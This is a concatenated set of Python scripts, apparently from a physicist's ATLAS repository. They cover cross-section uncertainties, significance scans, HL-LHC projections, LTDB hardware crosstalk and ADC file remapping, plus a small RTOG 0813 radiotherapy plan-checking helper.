std_ext = stdCal(hist_dict_extpdf_weights[cut], mean)
#std_scale = stdCal(hist_dict_scale_weights[cut], mean)
oline="==================== cut\tInternal pdf weights\tExternal pdf weights =============="
logout.write("%s\n" % oline)
print oline
oline="Standrad derivation of %s:\t%2.4f\t%2.4f" %(cut, std, std_ext)
logout.write("%s\n" % oline)
print oline
oline="Nominal of %s:\t%2.4f\t%2.4f" %(cut, mean, mean)
logout.write("%s\n" % oline)
print oline
oline="Relative error of %s:\t%2.4f\t%2.4f" %(cut, std/mean, std_ext/mean)
logout.write("%s\n" % oline)
print oline
#print "nominal xsec: ", hist_dict_pdf_weights['All'].GetBinContent(1), hist_dict_pdf_weights['2lep'].GetBinContent(1)
## fill hist
tfout.cd()
for ic, cut in enumerate(cuts):
hist_dict_pdf_weights[cut].Write()
hist_dict_extpdf_weights[cut].Write()
hist_dict_scale_weights[cut].Write()
tfout.Close()
tfin.Close()
logout.write("%s\n" % input)
oline="\n ===== info ===== "
logout.write("%s\n" % oline)
print oline
oline=" nTotoal = %d " % (nEntries)
logout.write("%s\n" % oline)
print oline
for ic, cut in enumerate(cuts):
oline=" %10s : %-10d" % (cut, dict_cut_count[cut])
print oline
logout.write("%s\n" % oline)
logout.write("=============\n")
logout.close()
def read_cutflow(tfile='', output='', outdir=''):
"""Read VBS cutflow histogram and print"""
f_in = TFile(tfile)
logout=open("%s/eventInfo_%s.txt" % (outdir, output), 'a+')
oline = "cut \t\t cross section \t\t ratio"
logout.write("%s" % oline)
print oline
h_cutflow_pre = f_in.Get('Cutflow_incl_Incl')
Ntotal = h_cutflow_pre.GetBinContent(1)
print "Number of total raw events = ", Ntotal
print_histo(h_cutflow_pre, Ntotal, logout)
h_cutflow_2e2mu = f_in.Get('Cutflow_incl_2e2mu')
h_cutflow_4mu = f_in.Get('Cutflow_incl_4mu')
h_cutflow_4e = f_in.Get('Cutflow_incl_4e')
print_histo(h_cutflow_2e2mu, Ntotal, logout)
print_histo(h_cutflow_4mu, Ntotal, logout)
print_histo(h_cutflow_4e, Ntotal, logout)
logout.write("=============\n")
logout.close()
def print_histo(histo, Ntotal, logout):
h_name = histo.GetName()
oline='\n{0:=^50}'.format(h_name)
logout.write("%s\n" % oline)
print oline
cutsName=["Total ", "4leptons ", "lepton pT ", "60GeV<MZs<120GeV", "Mll>10GeV ", "2jets ", "TagJets ", "VBFsel "]
#for i in range(histo.GetNbinsX()+1):
for i, cut in enumerate(cutsName):
number = histo.GetBinContent(i+1)*12.196/Ntotal*3000
error = histo.GetBinError(i+1)*12.196/Ntotal*3000
fraction = number/12.196
#number = histo.GetBinContent(i+1)*1363.9/Ntotal*3000
#error = histo.GetBinError(i+1)*1363.9/Ntotal*3000
#fraction = number/1363.9
oline="%s\t\t%f +/- %f" %(cut, number, error)
logout.write("%s\n" % oline)
print oline
if __name__ == "__main__":
input="hist-xAOD.root"
argvv=sys.argv
if len(argvv)>=2:
input=argvv[1]
print input
output=input.split('/')[-2]
outdir="Output_hist"
if not os.path.isdir(outdir): os.makedirs(outdir)
read_cutflow(input, output, outdir)
#fillHist(input, output, outdir)
<file_sep>/LTDB_scripts/ramprun/ramp_run.py
import os,sys
sys.path.append('/data/usr/kai/LTDB_PreProduction/LTDB_GUI_DEC2017/')
from dataproc_tmp import data_proc_tmp
from getSel import getSel
from dataproc import dataproc
from data_extract_amp import data_extract_amp
# cmd1="python ./dataproc_tmp.py"
# cmd2="python ./getSel.py"
# cmd3="python ./dataproc.py"
# os.system(cmd1)
# os.system(cmd2)
# os.system(cmd3)
def main():
adc_num_s1 = input("Input ADC num under test:")
adc_num_s2 = input("Input ADC num under test again:")
if adc_num_s1 == adc_num_s2:
adc_num = int(adc_num_s1)
# data_extract_amp()
# data_proc_tmp(adc_num)
# getSel(adc_num)
dataproc(adc_num)
else:
print("error!")
if __name__ == '__main__':
main()
<file_sep>/doProjection.py
#!/usr/bin/env python
######################
## HL-LHC projection###
## <NAME>, 2018 ###
######################
import sys
#ROOTSYS = '/afs/atlas.umich.edu/opt/root/lib'
#sys.path.append(ROOTSYS)
#####################
## Import Module ###
#####################
import array
import os
import glob
from math import sqrt,fabs,sin,log
from ROOT import TFile,TTree,TChain,TBranch,TH1,TH1F,TList
from ROOT import TLorentzVector,TGraphAsymmErrors,TMath
from ROOT import THStack,TCanvas,TLegend,TColor,TPaveText,TPad
from ROOT import gStyle,gDirectory
from ROOT import Double
def ResetError(histo='', **kw):
## book histogram
nbins=histo.GetNbinsX()
histo_xmin=histo.GetXaxis().GetXmin()
histo_xmax=histo.GetXaxis().GetXmax()
hist_out=TH1F('psudoData', 'psudoData', nbins, histo_xmin, histo_xmax)
for i in range(1,nbins):
ndata=0
ndata=histo.GetBinContent(i) # no overflow
nerror=sqrt(ndata)
hist_out.SetBinContent(i, ndata)
hist_out.SetBinError(i, nerror)
#hist_out.SetBinError(i, 0)
return hist_out
def setBkgUncer(histo='', uncer=0, **kw):
## book histogram
nbins=histo.GetNbinsX()
histo_xmin=histo.GetXaxis().GetXmin()
histo_xmax=histo.GetXaxis().GetXmax()
hist_out=TH1F('bkg', 'bkg', nbins, histo_xmin, histo_xmax)
for i in range(1,nbins+1):
ndata=0
ndata=histo.GetBinContent(i) # no overflow
#nstat=histo.GetBinError(i)
nstat=0.05*ndata
nerror=sqrt(nstat*nstat+uncer*ndata*uncer*ndata)
hist_out.SetBinContent(i, ndata)
hist_out.SetBinError(i, nerror)
#hist_out.SetBinError(i, 0)
return hist_out
###################
## Main Function ##
###################
if __name__ == "__main__":
if len(sys.argv) == 2:
inputdir=sys.argv[1]
else:
raise RuntimeError('One and only one arg needed: root file path')
hname = 'MVV'
#hname = 'TagJJM_final'
uncer=0
if uncer==0: outfile=inputdir+'all_bins_differential_uncer0_'+hname+'.root'
elif uncer==0.05: outfile=inputdir+'all_bins_differential_uncer5_'+hname+'.root'
elif uncer==0.1: outfile=inputdir+'all_bins_differential_uncer10_'+hname+'.root'
elif uncer==0.3: outfile=inputdir+'all_bins_differential_uncer30_'+hname+'.root'
resultRoot=TFile(outfile, 'RECREATE')
smearSig="{0}/Up_ewk/hist-xAOD.root".format(inputdir)
smearBkg="{0}/Up_qcd/hist-xAOD.root".format(inputdir)
truthSig="{0}/truth_ewk/hist-xAOD.root".format(inputdir)
f_smearSig=TFile(smearSig);
histo_smearSig=gDirectory.Get(hname)
f_smearBkg=TFile(smearBkg);
histo_smearBkg=gDirectory.Get(hname)
f_truthSig=TFile(truthSig);
histo_truthSig=gDirectory.Get(hname)
histo_smearSig.Rebin(100)
histo_smearSig.Scale(12.196*3000/166876.75)
histo_smearBkg.Rebin(100)
histo_smearBkg.Scale(1363.9*3000./411962.56)
histo_truthSig.Rebin(100)
histo_truthSig.Scale(12.196*3000/166876.75)
histo_data = histo_smearSig.Clone()
histo_data.Add(histo_smearBkg)
psudoData = ResetError(histo_data)
histo_bkg = setBkgUncer(histo_smearBkg, uncer)
psudoData.Sumw2()
histo_bkg.Sumw2()
testhist = psudoData.Clone()
testhist.SetDirectory(resultRoot)
histo_bkg.SetDirectory(resultRoot)
psudoData.Add(histo_bkg, -1)
histo_cF = histo_smearSig.Clone()
histo_cF.Divide(histo_truthSig)
histo_cF.SetDirectory(resultRoot)
psudoData.Divide(histo_cF)
psudoData.Scale(1./3000.)
psudoData.SetName("final")
psudoData.SetDirectory(resultRoot)
resultRoot.Write()
print "Done! Output file: ", outfile
<file_sep>/signif_scan.py
#!/usr/bin/env python
###############################
# <NAME>, Apr. 2018 @BNL
##############################
import sys
import math
import array
import os
import glob
from math import sqrt,fabs,sin,log
from ROOT import TFile,TTree,TChain,TBranch,TH1,TH1F,TList
from ROOT import TLorentzVector,TGraphAsymmErrors,TMath
from ROOT import THStack,TCanvas,TLegend,TColor,TPaveText,TPad
from ROOT import gStyle,gDirectory,gPad
from ROOT import Double
def getNum(tr='', mhist1='', cut='', **kw):
hist=TH1F("tmp", "tmp", 5000, 0, 5000)
tr.Draw("%s>>tmp" %(mhist1), "weight*(%s)" %(cut))
nNum = hist.Integral()
return nNum
###################
## Main Function ##
###################
if __name__ == "__main__":
input_gg = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn/mc16e/mc16_13TeV.345709.Sherpa_222_NNPDF30NNLO_ggllllNoHiggs_130M4l_dnn.root"
input_qq1 = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn/mc16e/mc16_13TeV.364250.Sherpa_222_NNPDF30NNLO_llll_dnn.root"
input_qq2 = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn/mc16e/mc16_13TeV.364251.Sherpa_222_NNPDF30NNLO_llll_m4l100_300_filt100_150_dnn.root"
input_qq3 = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn/mc16e/mc16_13TeV.364252.Sherpa_222_NNPDF30NNLO_llll_m4l300_dnn.root"
input_ew = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn/mc16e/mc16_13TeV.364283.Sherpa_222_NNPDF30NNLO_lllljj_EW6_dnn.root"
input_s1 = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn//mc16e/mc16_13TeV.341294.PowhegPythia8EvtGen_CT10_AZNLOCTEQ6L1_VBFH300NW_ZZ4lep_dnn.root"
input_s2 = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn//mc16e/mc16_13TeV.341296.PowhegPythia8EvtGen_CT10_AZNLOCTEQ6L1_VBFH500NW_ZZ4lep_dnn.root"
input_s3= "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn//mc16e/mc16_13TeV.341298.PowhegPythia8EvtGen_CT10_AZNLOCTEQ6L1_VBFH700NW_ZZ4lep_dnn.root"
input_s4 = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn//mc16e/mc16_13TeV.341300.PowhegPythia8EvtGen_CT10_AZNLOCTEQ6L1_VBFH900NW_ZZ4lep_dnn.root"
input_s5 = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn//mc16e/mc16_13TeV.341303.PowhegPythia8EvtGen_CT10_AZNLOCTEQ6L1_VBFH1400NW_ZZ4lep_dnn.root"
input_s6 = "/afs/cern.ch/work/r/rwoelker/public/2019-08-13_prod_v21_dnn//mc16e/mc16_13TeV.341305.PowhegPythia8EvtGen_CT10_AZNLOCTEQ6L1_VBFH1800NW_ZZ4lep_dnn.root"
bkgs=[input_gg, input_qq1, input_qq2, input_qq3, input_ew]
sigs=[input_s1, input_s2, input_s3, input_s4, input_s5, input_s6]
#DNNs=['DNN', 'DNN_no_mjj', 'DNN_no_detajj', 'DNN_no_ptjj', 'DNN_no_eta_zepp', 'DNN_no_min_dr_jz', 'DNN_no_m4l', 'DNN_no_lep1', 'DNN_no_lep2', 'DNN_no_lep3', 'DNN_no_lep4', 'DNN_no_j1', 'DNN_no_j2', 'DNN_no_j3']
DNNs=['DNN_nominal', 'DNN_no_detajj_j3']
trname='tree_incl_all'
mhist1='m4l_constrained_HM'
mass = 1400
nbins=50
outfile="hist_significance_%s.root" %(str(mass))
resultRoot=TFile(outfile, 'recreate')
hist_dict={}
for dnn in DNNs:
print "Looking at => ", dnn
hist = TH1F(dnn, dnn, nbins, 0, 1)
hist.SetDirectory(resultRoot)
hist_dict[dnn] = hist
for i in range(nbins):
dcut = i*(1./nbins)
cut='%s>%s && %s>%f && %s<%f && n_jets>=2' %(dnn, dcut, mhist1, (mass-0.02*mass), mhist1, (mass+0.02*mass) )
#print "Apply cut: ", cut
nbkg = 0.
for bkg in bkgs:
tfin = TFile.Open(bkg)
tr = tfin.Get(trname)
nbkg = nbkg + getNum(tr, mhist1, cut)
#print "Reading bkg. => ", bkg, "Total yield: ", nbkg
tfin.Close()
nsig = 0.
for sig in sigs:
tfin = TFile.Open(sig)
tr = tfin.Get(trname)
nsig = nsig + getNum(tr, mhist1, cut)
#print "Reading signal => ", sig, "Total yield: ", nsig
tfin.Close()
if nbkg > 0.: m_sign = sqrt( 2*((nsig+nbkg)*log(1+nsig/nbkg)-nsig) )
else: m_sign = 0.
print "Cut at %f, Nsig = %f, Nbkg = %f, significance = %f" %(dcut, nsig, nbkg, m_sign)
hist_dict[dnn].SetBinContent(i+1, m_sign)
#hist_dict[dnn].Write()
resultRoot.Write()
<file_sep>/get_yield.py
#!/usr/bin/env python
###############################
# <NAME>, Aug. 2019 @CERN
##############################
import sys
import math
import array
import os
import glob
from math import sqrt,fabs,sin,log
from ROOT import TFile,TTree,TChain,TBranch,TH1,TH1F,TList
from ROOT import TLorentzVector,TGraphAsymmErrors,TMath
from ROOT import THStack,TCanvas,TLegend,TColor,TPaveText,TPad
from ROOT import gStyle,gDirectory,gPad
from ROOT import Double
bkgs = ['qqZZ', 'qqZZEW', 'ggZZ']
Chs = ['ggF_2mu2e', 'ggF_4e', 'ggF_4mu', 'ggF_bkg', 'VBF_incl']
lumi = 138.965
y = [-99., -99., -99., -99., -99.]
err = [-99., -99., -99., -99., -99.]
for bkg in bkgs:
tfin = TFile.Open('nominal_'+bkg+'.root')
for ic,ch in enumerate(Chs):
hname = 'm4l_'+ch+'_13TeV'
hist = tfin.Get(hname)
y[ic] = hist.IntegralAndError(1, hist.GetNbinsX(), Double(err[ic]))
tfin.Close()
#print ("n_%s\t& %.4f & %.4f & %.4f & %.4f \\" %(bkg, y[0], y[1], y[2], y[3]))
print ("n_%s\t& %.4f & %.4f & %.4f & %.4f & %.4f \\" %(bkg, y[0], y[1], y[2], y[3], y[4]))
<file_sep>/LTDB_scripts/crosstalk/dataproc.py
import array, sys
import numpy as np
import numpy.fft
import datetime, time
import matplotlib.pyplot as plt
from pylab import matplotlib,figure,xlim,savefig,show,legend,plot,subplots,xlabel,ylabel,grid
data128=np.reshape(np.zeros(15*128),(-1,128))
maxpos=[16,16,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15]
peaktime0=np.zeros(320)
amp0=np.zeros(320)
crosstalk=np.zeros(320)
shift=np.zeros(15)
#if sys.argv[1]=="-ch": CH=sys.argv[2]
group=4
ADC=54 # For crosstalk test, define the channel with input first.
aCH=4
testdir="./Group"+str(group)+"_ADC"+str(ADC)+"_Ch"+str(aCH)
inCH=int((ADC-1)*4+aCH-1)
print ("================ Input channel: ", inCH)
if ADC>=1 and ADC<17: startCH=0
elif ADC>=17 and ADC<33: startCH=64
elif ADC>=33 and ADC<49: startCH=128
elif ADC>=49 and ADC<65: startCH=192
elif ADC>=65 and ADC<81: startCH=256
endCH=startCH+64
### To get the phase shift of input channel
for ph in range(15):
filename=testdir+"/Phase"+str(ph)+"/ADC_CH"+str(inCH+1)+".bin"
f=open(filename,'rb')
data=f.read()
f.close()
data16_orig=array.array('H', data)
data16_orig.byteswap()
offset=1000
filesize=np.size(data16_orig)
#samples=int(filesize)-offset
samples=20480
data16=data16_orig[offset:offset+samples]
data16=np.mod(data16,2**12)
data_channel= np.transpose(np.reshape(data16,(-1,128)))
mean_val=np.zeros(128)
for i in range(128):
mean_val[i]=np.mean(data_channel[i])
for i in range(128):
for j in range(int(samples/128)):
if abs(data_channel[i][j]-mean_val[i])>8:
data_channel[i][j]=mean_val[i]
for i in range(128):
mean_val[i]=np.mean(data_channel[i])
shift[ph]=maxpos[ph]-np.argmax(mean_val)
### End of the phase shift extract
print (shift)
for CH in range(startCH,endCH):
#for CH in range(152,160):
print ("Check=> CH", CH)
for ph in range(15):
filename=testdir+"/Phase"+str(ph)+"/ADC_CH"+str(CH+1)+".bin"
f=open(filename,'rb')
data=f.read()
f.close()
data16_orig=array.array('H', data)
data16_orig.byteswap()
offset=1000
filesize=np.size(data16_orig)
#samples=int(filesize)-offset
samples=20480
data16=data16_orig[offset:offset+samples]
data16=np.mod(data16,2**12)
data_channel= np.transpose(np.reshape(data16,(-1,128)))
mean_val=np.zeros(128)
for i in range(128):
mean_val[i]=np.mean(data_channel[i])
for i in range(128):
for j in range(int(samples/128)):
if abs(data_channel[i][j]-mean_val[i])>8:
data_channel[i][j]=mean_val[i]
for i in range(128):
mean_val[i]=np.mean(data_channel[i])
data128[ph]=np.roll(mean_val, int(shift[ph]))
#data128[ph]=np.roll(mean_val,(maxpos[ph]-np.argmax(mean_val)))
dataall=np.reshape(np.transpose(data128),(-1,1))
### calculation of peaking time and amplitude for CH0
baseline0=np.mean(dataall[0:100])
maxvalue0=np.max(dataall)
endpoint0=np.argmax(dataall)
for i in range(1920):
if dataall[i] >= baseline0+0.05*(maxvalue0-baseline0):
startpoint0=i
break
peaktime0[CH] = (endpoint0-startpoint0)*24.95/15
amp0[CH] = (maxvalue0-baseline0)
matplotlib.style.use('ggplot')
if CH<-1:
f=figure(CH)
ax = f.add_subplot(111)
#if CH%16>=0 and CH%16<4: ax.plot(dataall, 'b')
#if CH%16>=4 and CH%16<8: ax.plot(dataall, 'g')
#if CH%16>=8 and CH%16<12: ax.plot(dataall, 'r')
#if CH%16>=12 and CH%16<16: ax.plot(dataall, 'y')
ax.plot(dataall, 'b')
ax.set_ylabel('ADC data')
ax.set_xlabel('Samples/600MHz')
#if CH!= 20: ax.set_ylim([530,550])
ax.set_xlim([0,128*15])
#f.savefig("crosstalk_"+str(CH)+".png", format='png')
for CH in range(startCH,endCH):
#for CH in range(152,160):
crosstalk[CH] = amp0[CH]/amp0[inCH]*100
'''
## plot fft
figure(100+CH)
data3=[]
for i in range(1000,1500):
data3.extend(dataall[i])
data3_fft = np.fft.fft(data3)
data3_fft = data3_fft[range(250)]
freq=np.fft.fftfreq(500,1.667e-3)
freq=freq[range(250)]
if CH%16>=0 and CH%16<4: plt.plot(freq[2:250],abs(data3_fft[2:250]),'b')
if CH%16>=4 and CH%16<8: plt.plot(freq[2:250],abs(data3_fft[2:250]),'g')
if CH%16>=8 and CH%16<12: plt.plot(freq[2:250],abs(data3_fft[2:250]),'r')
if CH%16>=12 and CH%16<16: plt.plot(freq[2:250],abs(data3_fft[2:250]),'y')
xlabel('f (MHz)')
ylabel('ADC data')
xlim([0,300])
#plt.savefig("fft_"+str(CH)+".png", format='png')
matplotlib.style.use('ggplot')
f=figure(1000+int(CH))
ax = f.add_subplot(111)
if CH%16>=0 and CH%16<4: ax.plot( dataall[1400:1500],'b')
if CH%16>=4 and CH%16<8: ax.plot( dataall[1400:1500],'g')
if CH%16>=8 and CH%16<12: ax.plot( dataall[1400:1500],'r')
if CH%16>=12 and CH%16<16: ax.plot( dataall[1400:1500],'y')
#ax.legend(loc=0,fontsize=12)
ax.set_ylabel('ADC data')
ax.set_xlabel('Samples/720MHz')
ax.set_xlim([0,100])
f.savefig("baseline_"+str(CH)+".png", format='png')
#ax[2].set_ylim([-50,3000])
'''
## for crosstalk of 320 channels
matplotlib.style.use('ggplot')
f=figure(100)
ax = f.add_subplot(211)
if CH!=inCH: ax.plot(CH, crosstalk[CH], '.g')
#else: ax.semilogy(CH, crosstalk[CH], '.g')
ax.set_ylabel('Percentage of crosstalk (%)')
ax.set_xlabel('Channel Number / 600MHz')
ax.set_xlim([startCH,endCH])
#ax.set_ylim([10e-4,10e3])
for i in range(320):
if crosstalk[319-i]==0:
crosstalk=np.delete(crosstalk, 319-i)
print (crosstalk)
min_ct = np.min(crosstalk)
max_ct = np.max(crosstalk)
mean_ct = np.mean(crosstalk)
allCH=endCH-startCH
print ([min_ct, max_ct, (mean_ct*allCH-100.)/(allCH-1.)])
show()
<file_sep>/README.md
This repository saves the python scripts I used for ATLAS experiment,
including the scripts for both hardware and physics analysis.
<file_sep>/scan_cut_signf.py
#!/usr/bin/env python
###########################
## Do significance scan ###
## Heling, 2018 ###########
###########################
import sys
#ROOTSYS = '/afs/atlas.umich.edu/opt/root/lib'
#sys.path.append(ROOTSYS)
#####################
## Import Module ###
#####################
import array
import os
import glob
from math import sqrt,fabs,sin,log
from ROOT import TFile,TTree,TChain,TBranch,TH1,TH1F,TList
from ROOT import TLorentzVector,TGraphAsymmErrors,TMath
from ROOT import THStack,TCanvas,TLegend,TColor,TPaveText,TPad
from ROOT import gStyle,gDirectory
from ROOT import Double
def get_hist_significance(histsig='', histbkg='', scale=1, uncer=0, **kw):
nsig_tot=histsig.Integral()
nbkg_tot=histbkg.Integral()
## scale sig and bkg histo to 1
if scale==1:
if nsig_tot!=0:
histsig.Scale(1.0/nsig_tot)
nsig_tot=1.0
if nbkg_tot!=0:
histbkg.Scale(1.0/nbkg_tot)
nbkg_tot=1.0
## book histogram
nbins=histsig.GetNbinsX()
histo_xmin=histsig.GetXaxis().GetXmin()
histo_xmax=histsig.GetXaxis().GetXmax()
## significance
hname = "significance"
hist_signf=TH1F(hname, hname, nbins, histo_xmin, histo_xmax)
hist_signf.Sumw2()
## sig efficiency
hname = "sig_efficiency"
hist_sigeff=TH1F(hname, hname, nbins, histo_xmin, histo_xmax)
hist_sigeff.Sumw2()
## bkg rejection efficiency
hname = "bkg_rejection"
hist_bkgrej=TH1F(hname, hname, nbins, histo_xmin, histo_xmax)
hist_bkgrej.Sumw2()
startp=histsig.FindBin(600.)
endp =histbkg.FindBin(3000.)
for i in range(startp,endp):
#for i in range(1,nbins):
## calculate error for each cut
err=0.
for j in range(i,nbins):
b_err=histbkg.GetBinError(j)
err=err+b_err*b_err
err=sqrt(err)
print "Bkg stat. error: ", err
nsig, nbkg=0, 0
nsig=histsig.Integral(i, nbins) # no overflow
nbkg=histbkg.Integral(i, nbins) # no overflow
#nbkg=histbkg.IntegralAndError(i, nbins, Double(err) ) # no overflow
#print "sig/bkg: ", nsig, nbkg
signf=get_signf(nsig, nbkg, uncer, err)
hist_signf.SetBinContent(i, signf)
## signal efficiency
sigeff=nsig/nsig_tot
hist_sigeff.SetBinContent(i, sigeff)
## bkg rejection
if nbkg_tot!=0:
bkgrej=1-nbkg/nbkg_tot
hist_bkgrej.SetBinContent(i, bkgrej)
elif nbkg_tot==0:
hist_bkgrej.SetBinContent(i, 1)
return [hist_signf, hist_sigeff, hist_bkgrej]
def get_signf(nsig=1, nbkg=1, uncer=0, err=0., **kw):
signf=0
#err=0.
delta_bkg=uncer*nbkg+err
if nbkg!=0:
if nsig/nbkg <-1:
print 'Error=> nsig= %g , nbkg= %g ' % (nsig, nbkg)
signf=-1
else:
signf= nsig/sqrt(nbkg+delta_bkg*delta_bkg)
else: signf=-1
return signf
###################
## Main Function ##
###################
if __name__ == "__main__":
sig1="Up_ewk"
bkg1="Up_qcd"
hname="TagJJM_final"
uncer=0
if len(sys.argv) == 2:
inputdir=sys.argv[1]
elif len(sys.argv) == 3:
inputdir=sys.argv[1]
hname=sys.argv[2]
else:
raise RuntimeError('One and only one arg needed: root file path')
if uncer==0: outfile = inputdir+hname+'_scanSignf_lumi3000_uncer0.root'
elif uncer==0.05: outfile = inputdir+hname+'_scanSignf_lumi3000_uncer5.root'
elif uncer==0.1: outfile = inputdir+hname+'_scanSignf_lumi3000_uncer10.root'
elif uncer==0.3: outfile = inputdir+hname+'_scanSignf_lumi3000_uncer30.root'
#outfile = inputdir+'/'+hname+'_scanSignf_lumi3000_noerr.root'
resultRoot=TFile(outfile, 'RECREATE')
inputSig1="{0}/{1}/hist-xAOD.root".format(inputdir, sig1)
inputBkg1="{0}/{1}/hist-xAOD.root".format(inputdir, bkg1)
f_sig1=TFile(inputSig1);
histo_Sig1=gDirectory.Get(hname)
f_bkg1=TFile(inputBkg1);
histo_Bkg1=gDirectory.Get(hname)
histo_Sig=histo_Sig1.Clone()
histo_Sig.Rebin(50)
histo_Sig.Scale(12.196*3000/166876.75)
histo_Bkg=histo_Bkg1.Clone()
histo_Bkg.Rebin(50)
histo_Bkg.Scale(1363.9*3000/413075.09)
signf_results=get_hist_significance(histo_Sig, histo_Bkg, 0, uncer)
histo_signf=signf_results[0]
histo_sigeff=signf_results[1]
histo_bkgrej=signf_results[2]
histo_signf.SetDirectory(resultRoot)
histo_sigeff.SetDirectory(resultRoot)
histo_bkgrej.SetDirectory(resultRoot)
resultRoot.Write()
print "Done! Output file: ", outfile
<file_sep>/judge_rtog0813.py
#!/usr/bin/env python
#########################################
# <NAME>, Apr. 9, 2019 @ Hefei
# Version 0
#########################################
# Used to make the judgement from
# RTOG 0813 table with a provided
# PTV Volume and [R100% R50% D2cm V20] set.
############################################
import math
import os
from array import array
def linear(PTV, ptv1, ptv2, a1, a2):
## For values of PTV not specified, linear interpolation between table entries is required.
return (a2-a1)/(ptv2-ptv1)*(PTV-ptv1)+a1
def judgement(PTV=0., R100=9999., R50=9999., D2cm=9999., V20=9999.):
## read the table: RTOG 0813
_None={
1.8: [1.2, 5.9, 50.0, 10],
3.8: [1.2, 5.5, 50.0, 10],
7.4: [1.2, 5.1, 50.0, 10],
13.2: [1.2, 4.7, 50.0, 10],
22.0: [1.2, 4.5, 54.0, 10],
34.0: [1.2, 4.3, 58.0, 10],
50.0: [1.2, 4.0, 62.0, 10],
70.0: [1.2, 3.5, 66.0, 10],
95.0: [1.2, 3.3, 70.0, 10],
126.0: [1.2, 3.1, 73.0, 10],
163.0: [1.2, 2.9, 77.0, 10]
}
_Minor={
1.8: [1.5, 7.5, 57.0, 15],
3.8: [1.5, 6.5, 57.0, 15],
7.4: [1.5, 6.0, 58.0, 15],
13.2: [1.5, 5.8, 58.0, 15],
22.0: [1.5, 5.5, 63.0, 15],
34.0: [1.5, 5.3, 68.0, 15],
50.0: [1.5, 5.0, 77.0, 15],
70.0: [1.5, 4.8, 86.0, 15],
95.0: [1.5, 4.4, 89.0, 15],
126.0: [1.5, 4.0, 91.0, 15],
163.0: [1.5, 3.7, 94.0, 15]
}
if PTV in _None:
my_None = _None[PTV]
my_Minor = _Minor[PTV]
else:
a1_None = a2_None = []
a1_Minor= a2_Minor= []
# do linear interpolation
for ptvscan in sorted(_None):
if ptvscan<PTV:
ptv1 = ptvscan
a1_None = _None[ptv1]
a1_Minor = _Minor[ptv1]
else:
ptv2 = ptvscan
a2_None = _None[ptv2]
a2_Minor = _Minor[ptv2]
break
my_None = [linear(PTV,ptv1,ptv2,a1,a2) for a1,a2 in zip(a1_None,a2_None)]
my_Minor = [linear(PTV,ptv1,ptv2,a1,a2) for a1,a2 in zip(a1_Minor,a2_Minor)]
## 1. R100
if my_None[0]<=R100:
if my_Minor[0]<=R100:
print "Major: R100=%.1f!" %(R100)
else:
print "Minor: R100=%.1f!" %(R100)
else:
print "None: R100=%.1f!" %(R100)
## 2. R50
if my_None[1]<=R50:
if my_Minor[1]<=R50:
print "Major: R50=%.1f!" %(R50)
else:
print "Minor: R50=%.1f!" %(R50)
else:
print "None: R50=%.1f!" %(R50)
## 3. D2cm
if my_None[2]<=D2cm:
if my_Minor[2]<=D2cm:
print "Major: D2cm=%.1f!" %(D2cm)
else:
print "Minor: D2cm=%.1f!" %(D2cm)
else:
print "None: D2cm=%.1f!" %(D2cm)
## 4. V20
if my_None[3]<=V20:
if my_Minor[3]<=V20:
print "Major: V20=%.1f!" %(V20)
else:
print "Minor: V20=%.1f!" %(V20)
else:
print "None: V20=%.1f!" %(V20)
if __name__ == '__main__':
PTV = float(input("Enter your PTV Volume:"))
R100 = float(input("Enter the value of R100% for judgement:"))
R50 = float(input("Enter the value of R50% for judgement:"))
D2cm = float(input("Enter the value of D2cm for judgement:"))
V20 = float(input("Enter the value of V20 for judgement:"))
judgement(PTV, R100, R50, D2cm, V20)
<file_sep>/LTDB_scripts/ramprun/data_extract_amp.py
#!/usr/bin/env python
import os
import sys
import numpy as np
#os.system("rm test.bin")
def link_map_gen():
##The real ADC number defined by G#L#A#'s position in new mapping
maparray=np.zeros(40)
maparray[0:10]=[36,37,16,17,35,39,38,19,14,13]
maparray[10:20]=[18,30,12,15,10,31,9,32,33,34]
maparray[20:30]=[23,11,24,25,5,7,28,26,6,8]
maparray[30:40]=[27,0,29,22,2,1,20,21,4,3]
#print(maparray)
return maparray
def adc_swap_gen():
swaparray=np.zeros(40)
swaparray[0:10] =[0,0,0,0,1,0,0,0,0,0]
swaparray[10:20]=[0,1,0,0,0,0,1,1,1,1]
swaparray[20:30]=[1,0,0,0,1,0,0,1,0,1]
swaparray[30:40]=[1,1,1,1,0,0,0,0,0,0]
return swaparray
def adc_map_switch(amp):
maparray=link_map_gen()
swaparray=adc_swap_gen()
for i in range(40):
if swaparray[i]==0:
for j in range(8):
cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+j+1))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+j+1))+".bin"
os.system(cmd)
else:
cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+1))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+4+1))+".bin"
os.system(cmd)
cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+2))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+5+1))+".bin"
os.system(cmd)
cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+3))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+6+1))+".bin"
os.system(cmd)
cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+4))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+7+1))+".bin"
os.system(cmd)
cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+5))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+0+1))+".bin"
os.system(cmd)
cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+6))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+1+1))+".bin"
os.system(cmd)
cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+7))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+2+1))+".bin"
os.system(cmd)
